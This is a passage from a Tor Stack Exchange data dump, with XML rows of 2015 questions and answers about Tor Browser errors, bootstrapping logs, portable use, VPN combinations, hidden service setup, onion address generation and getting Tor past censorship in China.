ensure that each hop can't&#xA;  trace these connections as they pass through.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Add to this, the circuit your requests are taking within the Tor network is &lt;em&gt;refreshed&lt;/em&gt; every a dozen of minutes.&lt;/p&gt;&#xA;" OwnerDisplayName="user8218" LastEditorUserId="14997" LastEditDate="2019-05-13T17:17:00.277" LastActivityDate="2019-05-13T17:17:00.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7535" PostTypeId="1" CreationDate="2015-08-26T20:40:12.653" Score="3" ViewCount="2090" Body="&lt;p&gt;I have downloaded Tor three times and I keep getting the message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor Browser Profile Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You cannot run Tor Browser from a read-only file system.  Please copy&#xA;  Tor Browser to your Desktop or Applications folder before trying to&#xA;  use it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After downloading the file, I have drug it to both my Applications folder and the Desktop and used both the click on icon to open process and by clicking Control-Open. I click yes on the button that warns that the application was downloaded from the Internet to open anyway, and then I get the &quot;read-only&quot; error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed my preferences to download applications form anywhere, then downloaded again. Same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not use, nor have I downloaded Firefox. I use Chrome or Safari, could that be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8227" LastEditorUserId="88" LastEditDate="2015-08-26T22:53:35.020" LastActivityDate="2015-08-30T02:32:00.473" Title="Can't open Tor Browser in Mac OSX Yosemite 10.10.4" Tags="|tor-browser-bundle|help|error|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostTypeId="1" CreationDate="2015-08-27T05:04:31.170" Score="1" ViewCount="126" Body="&lt;p&gt;Hello my question is I have my router configured to connect through a vpn (VPN A). Thus all Internet traffic on my network goes through a vpn. If I run tor on a local machine with a 2nd vpn (VPN B), does this cause vpn b to create a tunnel within the tunnel create by vpn a? Also does the tor browser still successfully give me anonymity with this setup? I'm trying to figure out if the two vpns will work together to give me a double layer of encryption along with tors anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for the above setup are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2015-08-27T05:04:31.170" Title="VPN Router + Tor and 2nd VPN Local Machine Clarifications" Tags="|tor-browser-bundle|vpn|encryption|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7537" PostTypeId="1" CreationDate="2015-08-27T15:16:50.673" Score="1" ViewCount="843" Body="&lt;p&gt;On device connected to the same router Orbot is able to connect and work correctly. On laptop Tor stuck at 10%. For configuration file I use copy of torrc.sample with bridges added.&#xA;I suppose in fresh installed Xubuntu firewall doesn't block anything by default.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aug 27 12:57:10.191 [notice] Tor v0.2.6.9 (git-d41ab97294ec69c7) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1f and Zlib 1.2.8.&#xA;Aug 27 12:57:10.191 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Aug 27 12:57:10.191 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Aug 27 12:57:10.198 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Aug 27 12:57:10.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Aug 27 12:57:10.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Aug 27 12:57:10.000 [notice] Bootstrapped 0%: Starting&#xA;Aug 27 12:57:10.000 [notice] Delaying directory fetches: No running bridges&#xA;Aug 27 12:57:11.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Aug 27 12:57:11.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Aug 27 13:02:21.000 [warn] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 7; recommendation warn; host B18E163C67A5063562xxxxxxEAC0BF64CFDD537 at 5.135.xxx.xx:443)&#xA;Aug 27 13:02:21.000 [warn] 7 connections have failed:&#xA;Aug 27 13:02:21.000 [warn]  3 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN&#xA;Aug 27 13:02:21.000 [warn]  2 connections died in state handshaking (TLS) with SSL state unknown state in HANDSHAKE&#xA;Aug 27 13:02:21.000 [warn]  2 connections died in state connect()ing with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&#xA;Last warnings mentioned TSL and SSL, but Tor didn't complain on OpenSSL version or whatever...&lt;/p&gt;&#xA;" OwnerUserId="8233" LastActivityDate="2015-08-27T15:16:50.673" Title="Tor stuck at 10%" Tags="|bootstrapping|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-30T13:20:04.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="7538" PostTypeId="1" CreationDate="2015-08-27T18:38:11.637" Score="0" ViewCount="22494" Body="&lt;p&gt;I installed tor on my kali linux and it is not working I tried every way to rectify it but it doesn't open at all it shows this&#xA;that cannot be rooted and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aug 28 00:06:26.946 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.19-stable and OpenSSL 1.0.1e.&#xA;Aug 28 00:06:26.946 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Aug 28 00:06:26.946 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Aug 28 00:06:26.951 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Aug 28 00:06:26.951 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Aug 28 00:06:26.951 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Aug 28 00:06:26.951 [err] Reading config failed--see warnings&#xA;I hope u will help me &#xA;tAug 28 00:06:26.946 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.19-stable and OpenSSL 1.0.1e.&#xA;Aug 28 00:06:26.946 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Aug 28 00:06:26.946 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Aug 28 00:06:26.951 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Aug 28 00:06:26.951 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Aug 28 00:06:26.951 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Aug 28 00:06:26.951 [err] Reading config failed--see warnings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="112" LastEditDate="2015-08-27T18:52:42.333" LastActivityDate="2021-04-07T20:03:10.967" Title="How to uninstall tor on kali linux?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-28T15:48:37.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostTypeId="2" ParentId="7538" CreationDate="2015-08-27T18:57:58.527" Score="1" Body="&lt;p&gt;The log is explaining what is going wrong:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could not bind to 127.0.0.1:9050: Address already in use. Is Tor&#xA;already running?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You are not telling us exactly how you installed it and try to run it.&#xA;Did you install with apt-get? Compile it from source and then run it from a custom directory?&lt;/p&gt;&#xA;&lt;p&gt;But if you have it installed with 'apt-get' and want to remove it then do this as root:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;apt-get remove tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It should then remove the installed tor.&lt;/p&gt;&#xA;&lt;p&gt;I believe that the torbrowser that is needed to be removed.  There is a difference&#xA;to do that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;b&gt;sudo apt remove -y tor torbrowser-launcher&lt;/b&gt;&lt;/p&gt;&#xA;&lt;p&gt;should do the job&lt;/p&gt;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="31961" LastEditDate="2021-04-07T20:03:10.967" LastActivityDate="2021-04-07T20:03:10.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7540" PostTypeId="1" CreationDate="2015-08-27T21:49:38.187" Score="1" ViewCount="3359" Body="&lt;p&gt;So I'm trying use a java plugin for a game at work. Downloaded portable Firefox/Jportable have it configured with new Java. Wanted to open tor portable and use a separate Firefox portable to use game since Tor portable doesn't Java. Connects fine on computer, but i cant update java on computer hence switching to portable. I get the error -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Connecting to a relay directory failed (missing pluggable transport - 109.105.109.163:38980)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;heres the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/27/2015 16:46:01 PM.200 [WARN] Failed to create child process TorBrowser\Tor\PluggableTransports\obfs4proxy: The system cannot find the file specified.   &#xA;8/27/2015 16:46:01 PM.200 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\obfs4proxy' failed at launch. &#xA;8/27/2015 16:46:01 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/27/2015 16:46:01 PM.600 [WARN] We were supposed to connect to bridge '109.105.109.163:38980' using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="88" LastEditDate="2015-08-28T15:52:34.950" LastActivityDate="2015-12-24T20:57:40.430" Title="Tor on computer connects fine using bridges, portable Tor does not" Tags="|tor-browser-bundle|support|obfsproxy|obfs4|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7543" PostTypeId="1" CreationDate="2015-08-28T16:20:42.117" Score="2" ViewCount="8781" Body="&lt;p&gt;I have downloaded Tor and put it on a usb flash drive. How do I run it without putting it in the apps folder on the computer?&lt;/p&gt;&#xA;" OwnerUserId="8242" LastActivityDate="2018-07-17T17:19:53.720" Title="Running Tor on usb flash drive" Tags="|flash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7544" PostTypeId="2" ParentId="7543" CreationDate="2015-08-28T16:32:46.403" Score="3" Body="&lt;p&gt;You unpack the bundle to your memory stick, and run the 'start tor browser' shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bundle is 'portable' and should run from any directory as long as you have the proper access rights to it.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-28T16:32:46.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostTypeId="2" ParentId="7318" CreationDate="2015-08-28T20:21:05.460" Score="3" Body="&lt;p&gt;I think this will be a general ownership problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm suspecting that you downloaded the DMG file, and unpacked it, as the &lt;code&gt;admin&lt;/code&gt; user. To run as a normal user, you'll need to download and unpack it using that user's account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that only the owner of the file can write to the profile (because it is &lt;em&gt;their&lt;/em&gt; profile).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'profile' is in TorBrowser.app/TorBrowser/Data/Browser but 'chown' and 'chmod' on those files/directories will not solve the problem.  Not sure why, but these only introduce weirder errors.  Each tor user will have to have his or her own copy of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: As has been stated elsewhere, &quot;Each tor user will have to have his or her own copy&quot; was a poor design decision (or more likely, something not considered).  But I say &lt;strong&gt;was&lt;/strong&gt; because 6.0 resolves that issue.  TBB on Mac now looks for the user's profile in a directory under &lt;code&gt;~/Library/Application\ Support&lt;/code&gt; (and creates it if necessary).&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="7011" LastEditDate="2016-06-18T14:57:28.560" LastActivityDate="2016-06-18T14:57:28.560" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostTypeId="1" AcceptedAnswerId="7547" CreationDate="2015-08-29T08:41:23.593" Score="1" ViewCount="935" Body="&lt;p&gt;When one wants to write an application that uses some of the features of Tor in a secure manner it would be helpful if there was a library to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is a library that provides features like the ones the Tor Browser Bundle implements, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only connect through Tor (no way of connecting through other means and thereby leaking data)&lt;/li&gt;&#xA;&lt;li&gt;Using Unix Sockets instead of TCP for added security&lt;/li&gt;&#xA;&lt;li&gt;Providing an interface to Tor's feature to create individual circuits on demand (like Tor Browsers does with tabs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe some more things, especially in regards to Hidden Services (like setting them up) or the Control Port (directly accessing its functionality). I know there is &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt;, but it is written in Python and I think a C library would allow more users to actually make use of it, be it via language bindings or directly.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2015-08-29T08:46:35.107" LastActivityDate="2019-07-20T09:25:28.423" Title="Is there a library to make use of Tor's features programatically?" Tags="|onion-services|development|implementations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7547" PostTypeId="2" ParentId="7546" CreationDate="2015-08-29T14:12:52.807" Score="1" Body="&lt;p&gt;A bit of Googling has thrown up &lt;a href=&quot;https://github.com/libtor/libtor&quot; rel=&quot;nofollow&quot;&gt;libtor&lt;/a&gt;, which might be worth a look. (It appears not to have been touched for several years though... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to use Stem, but embed it in your C code using &lt;a href=&quot;https://docs.python.org/2/c-api/index.html#c-api-index&quot; rel=&quot;nofollow&quot;&gt;Python's C interface&lt;/a&gt;. Either that, or use something like &lt;a href=&quot;http://www.cosc.canterbury.ac.nz/greg.ewing/python/Pyrex/&quot; rel=&quot;nofollow&quot;&gt;Pyrex&lt;/a&gt; or &lt;a href=&quot;http://cython.org/&quot; rel=&quot;nofollow&quot;&gt;Cython&lt;/a&gt; to somehow integrate the two. (I haven't tried this myself, so can't provide any examples, I'm afraid.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For libraries written in other languages - though not, it appears, C - have a look at &lt;a href=&quot;https://stem.torproject.org/faq.html#are-there-any-other-controller-libraries&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; entry on Stem's FAQ.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-29T14:12:52.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostTypeId="1" AcceptedAnswerId="7556" CreationDate="2015-08-29T15:35:22.657" Score="3" ViewCount="201" Body="&lt;p&gt;Let's say someone runs 100 Tor instances on their machine and with their high speed internet connection -&gt; download huge volumes of data through all of those instances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any mechanisms within Tor to prevent such misuse?&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-08-31T06:21:19.773" LastActivityDate="2015-08-31T06:21:19.773" Title="Does Tor have any protection against bandwidth misuse?" Tags="|relays|security|exit-relays|bandwidth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostTypeId="2" ParentId="7535" CreationDate="2015-08-30T02:32:00.473" Score="2" Body="&lt;p&gt;What you downloaded is a DMG — a disk image.  When it opens, it is a read-only filesystem like a CD or DVD.  You have to copy the application &lt;strong&gt;out of&lt;/strong&gt; the DMG before you can run it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you have to run it on the same account that copied it out of the DMG, because it has to write to a file that is inside of the application.  So, each user that is going to run it has to have his or her own copy of the application.&lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2015-08-30T02:32:00.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7552" PostTypeId="1" CreationDate="2015-08-30T06:01:39.893" Score="1" ViewCount="3114" Body="&lt;p&gt;For setting up a Tor hidden service, I need a good .onion URL, I do not want to trust anyone else with generating that pair of public and private key and then hand them to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded scallion binaries on Windows 7, but do not know how to run it on Windows 7 and hash custom .onion domains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how this works?&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="5445" LastEditDate="2015-09-20T10:34:02.910" LastActivityDate="2015-09-20T10:34:02.910" Title="How should I use Scallion to hash .onion domains on Windows 7?" Tags="|onion-routing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7553" PostTypeId="2" ParentId="7552" CreationDate="2015-08-30T10:59:47.150" Score="2" Body="&lt;p&gt;If you've downloaded the Windows binaries - which is what you have done - you can run the executable directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had downloaded the source, you would have needed to build using VS Express, as per the &lt;a href=&quot;https://github.com/lachesis/scallion/blob/gpg/README.md&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, once you've downloaded the binaries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unzip the &lt;code&gt;.zip&lt;/code&gt; file containing the pre-built files.&lt;/li&gt;&#xA;&lt;li&gt;Open a command prompt by running &lt;code&gt;cmd&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Navigate to the location where your unzipped directory is located.&lt;/li&gt;&#xA;&lt;li&gt;If you run &lt;code&gt;scallion.exe&lt;/code&gt; either with the &lt;code&gt;-h&lt;/code&gt; option, or with no options at all, you'll be given the help details. Have a read of this to familiarise yourself with the main options you can pass to the executable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The most basic operation is to just pass the string you want to include in your .onion address: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C:\(path_to_dir)&amp;gt; scallion.exe string&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Usage section of the README provides further examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hit any problems - for example, you get an error message complaining about missing DLLs - have a look at the Dependencies section of the README.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-08-30T16:19:00.673" LastActivityDate="2015-08-30T16:19:00.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7554" PostTypeId="1" CreationDate="2015-08-30T12:19:55.137" Score="1" ViewCount="821" Body="&lt;p&gt;Actually for setting up a tor hidden service, &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor's official guide&lt;/a&gt; explains, but it asks us to set up a LOCAL web server first. I do not get this part, because I do not think any one would like to use local web servers for Tor hidden services, this way when you turn off your computer, the hidden service will go down (or maybe I'm wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should we set up a dedicated server for a Tor hidden service? The server can be anywhere in the world, and we would use SSH or PuTTY for customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think of this? Any idea?&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="5445" LastEditDate="2015-09-20T10:33:46.903" LastActivityDate="2015-10-20T11:02:06.647" Title="How to set up a external server to be only available on a Tor hidden service?" Tags="|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostTypeId="2" ParentId="7554" CreationDate="2015-08-30T13:16:52.763" Score="1" Body="&lt;p&gt;You can use any server \ computer you want, anything from a desktop computer, VPS or a raspberry pi. However as soon as you use a VPS or rent a external server then you loose control over the service \ data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of what type of server you choose - the setup is the same.&#xA;Install tor then set up the webserver on the server, enable hidden service and point it to port 80 at 'localhost' (so that it's not listening on external IP).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-30T13:16:52.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7556" PostTypeId="2" ParentId="7548" CreationDate="2015-08-30T13:43:46.517" Score="2" Body="&lt;p&gt;Tor doesn't differentiate between &quot;good&quot; and &quot;bad&quot; traffic. For the network is no difference if there are 100 new users doing their stuff or one person with  100 instances. So if one user decides to do this experiment there is less bandwidth left for other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is slower to download a 50KiB file with 100 concurrent connections (ca. one second for each) than a single 5 MiB file (ca. 10 seconds):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pR5b.png&quot; alt=&quot;Time to complete a 50 KiB request&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RJlQW.png&quot; alt=&quot;Time to complete a 5 MiB request&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Tor seems to work better the larger the file is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You asked about a user who runs 100 downloads of large files.  Currently Tor advises a bandwidth of over 100 Gbps and consumes around 60 Gbps. So there are 40 Gbps spare bandwidth. If every download has a bandwidth of more than 400 Mbps it would certainly cause problems. However 40 Gbps cost quite a lot of money. So I guess this can't be done by a single user, at least not for a really long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OS6uQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OS6uQ.png&quot; alt=&quot;total bandwidth&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2015-08-30T13:55:58.243" LastActivityDate="2015-08-30T13:55:58.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7557" PostTypeId="1" CreationDate="2015-08-30T14:30:03.743" Score="5" ViewCount="781" Body="&lt;p&gt;I heard that somewhere in the code of a hidden website is problematic and reveals its real IP address, in other cases LE seize a server and discover some other hidden sites on it, and take all of them down, BUT provided that the private key of a .onion domain is only in the hands of its creator, and the creator is NOT apprehended, are they not able to reclaim the .onion domain and continue their service? (So why do they not do this?)&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="5445" LastEditDate="2015-09-20T10:34:24.143" LastActivityDate="2015-10-20T12:02:08.463" Title="How do law enforcemnet agencies seize a .onion domain?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7558" PostTypeId="2" ParentId="7557" CreationDate="2015-08-30T15:40:28.427" Score="3" Body="&lt;p&gt;When a hidden service is seized, 'they' (the LE agency in question) are in possession of the private key. Either obtained from the server or from the operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that in many cases they are also in possession of the operator, and have some leverage to convince the operator not to continue.&lt;br&gt;&#xA;Is it possible (and has happened) that a 'seized' domain is also run by non-LE. This creates the situation where the server you hit depends on your introduction point and/or even time of day.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-08-30T15:40:28.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7559" PostTypeId="2" ParentId="7554" CreationDate="2015-08-30T15:46:42.747" Score="0" Body="&lt;p&gt;By 'locally' they mean 'on the same machine you run your Tor on. The Tor that serves your hidden service that is.&lt;br&gt;&#xA;This web server does not need to be accessible from any other host than your Tor, so in the case that your run Tor and your web server on the same host, your web server does not need to accept any connections from any other hosts than itself. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-08-30T15:46:42.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostTypeId="2" ParentId="7503" CreationDate="2015-08-30T16:10:06.073" Score="4" Body="&lt;p&gt;You are correct. Your IP address is tainted and not suitable to host a bridge.&lt;br&gt;&#xA;Even if it is not blocked, it is still unsafe to connect to your IP for people who need bridges.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-08-30T16:10:06.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostTypeId="2" ParentId="6872" CreationDate="2015-08-30T21:29:05.417" Score="-1" Body="&lt;p&gt;This behavior is typical of a node flagged &quot;eventually&quot; as a Guard Node and you are not being a guard node for many clients at the moment to utilize all your bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2015-08-30T21:29:05.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7564" PostTypeId="1" CreationDate="2015-08-30T22:58:47.207" Score="6" ViewCount="6321" Body="&lt;p&gt;A step by step guide would be awesome on how to use it and  how to configure normal Mozilla Firefox to use proxy to reroute all traffic through Tor using Expert Bundle. (no Vidalia Solution)&lt;/p&gt;&#xA;" OwnerUserId="8259" LastActivityDate="2017-10-27T20:13:18.860" Title="How to use Tor Expert Bundle on Windows?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostTypeId="1" CreationDate="2015-08-31T01:27:05.753" Score="1" ViewCount="581" Body="&lt;p&gt;I have checked around but haven't found an answer to running multiple instances for V5+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closest was for v4.5 &lt;a href=&quot;https://tor.stackexchange.com/questions/6846/multiple-instances-of-tor-w-tor-browser-since-v4-5&quot;&gt;Multiple instances of Tor w/ Tor Browser since v4.5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any updates for this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8260" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-15T03:25:03.127" Title="Running multiple TOR instances in TOR browser versions 5+" Tags="|configuration|windows|help|support|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7566" PostTypeId="1" AcceptedAnswerId="8608" CreationDate="2015-08-31T02:24:41.857" Score="7" ViewCount="2026" Body="&lt;p&gt;I am trying to download Tor within China to use as VPN. However, I cannot access the Tor download page using the mainstream internet inside of China. I am blocked by the Great Firewall, and recent crackdowns on the internet. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any mirror websites I could use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What should I do to get Tor in China? Surely other people have encountered this situation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the best way around this issue is to first use a VPN to access Tor, which VPN could I use? So many have recently been shut down in China. CyberGhost, SurfEasy, etc. are all blocked by Papa Xi.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even with the bridges, I have been told Tor does not work in China &lt;em&gt;at all&lt;/em&gt; unless you use a VPN first. Is this true? Is the Chinese government using deep packet inspection to completely block Tor traffic entirely? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="5445" LastEditDate="2015-09-17T10:36:08.997" LastActivityDate="2015-09-17T10:36:08.997" Title="How can I download Tor within China to get over the Great Firewall?" Tags="|anonymity|security|vpn|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7567" PostTypeId="1" CreationDate="2015-08-31T08:55:37.863" Score="2" ViewCount="4205" Body="&lt;p&gt;A majority of Tor traffic is routed through around ~80 exit nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how often do these exit nodes change their ip addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a list of exit nodes here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the &quot;Uptime&quot; column signify since how long the ip address has remained the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if not, does anyone have a rough idea on how big the time interval is?&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2015-12-01T10:27:40.633" Title="How often do Tor exit nodes change Ip addresses?" Tags="|relays|exit-relays|censorship|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
